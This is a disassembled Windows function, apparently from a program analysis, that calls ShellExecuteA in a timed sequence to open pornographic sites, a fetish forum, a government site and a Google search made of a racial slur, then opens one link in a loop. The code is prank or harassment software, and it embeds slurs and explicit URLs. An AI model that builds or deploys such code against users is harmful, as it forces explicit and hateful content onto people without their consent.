Function at 0x140001000
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.https:__www.youtube.com_watch_vF_pJXKvHD2Q
xor ecx, ecx
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.https:__old.reddit.com_r_sounding_
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.http:__government.ru_en_
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.https:__www.gaymaletube.com_
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.https:__www.google.com_search_qniggerdicksca_esv594646980eirJeQZY7JEbe10PEP1IOXgAkved0ahUKEwiOz_LymLiDAxW3GjQIHdTBBZAQ4dUDCBAuact5oqniggerdickgs_lpEgxnd3Mtd2l6LXNlcnAiC25pZ2dlciBkaWNrSPIKUNICWNwJcAN4AJABAJgBbqABjAaqAQQxMC4xuAEDyAEA_AEBwgIREC4YgAQYigUYkQIYsQMYgwHCAhcQLhiABBiKBRiRAhixAxiDARjHARjRA8ICCxAuGIAEGLEDGIMBwgILEAAYgAQYsQMYgwHCAhEQLhiABBixAxiDARjHARjRA8ICIBAuGIAEGIoFGJECGLEDGIMBGJcFGNwEGN4EGOAE2AEBwgIUEC4YgAQYigUYkQIYsQMYxwEY0QPCAgsQLhiABBiKBRiRAsICEBAuGIAEGIoFGEMYsQMYgwHCAg4QLhiABBjHARivARiOBcICDhAuGIAEGLEDGIMBGOUEwgIOEC4YgAQYigUYsQMYgwHCAgUQLhiABMICIxAuGIAEGIoFGJECGLEDGMcBGNEDGJcFGNwEGN4EGOAE2AEBwgIIEC4YgAQYsQPCAgsQLhiDARixAxiABMICDRAuGIAEGIoFGEMYsQPCAg4QLhiABBixAxiDARjUAsICCBAuGIAEGNQCwgIFEAAYgATCAhoQLhiABBiKBRiRAhiXBRjcBBjeBBjgBNgBAcICExAAGIAEGIoFGJECGLEDGEYY_QHCAggQABiABBixA8ICBxAuGIAEGArCAioQABiABBiKBRiRAhixAxhGGPkBGJcFGIwFGN0EGEYY9AMY9QMY9gPYAQLCAg0QLhiDARixAxiABBgKwgIKEAAYgAQYsQMYCsICDhAAGIAEGIoFGLEDGIMBwgINEAAYgAQYsQMYgwEYCsICBxAAGIAEGArCAigQLhiDARixAxiABBgKGJcFGNwEGN4EGOAEGPQDGPEDGPUDGPYD2AEBwgIPEAAYgAQYsQMYChhGGPkBwgImEAAYgAQYsQMYChhGGPkBGJcFGIwFGN0EGEYY9AMY9QMY9gPYAQLCAgoQABiABBjHAxgK4gMEGAEgQYgGAboGBggBEAEYFLoGBggCEAEYEwsclientgws_wiz_serp
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.https:__www.youtube.com_watch_vub82Xb1C8os
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.https:__www.pornhub.com_gay_video_c44
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ebx, [rdi + 0xf]
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x28], 1
lea r8, str.https:__soundcloud.com_yungchegg_wariopocketz_welcome_to_this_hell_prod_ss3bby_x_me
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x140001180
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret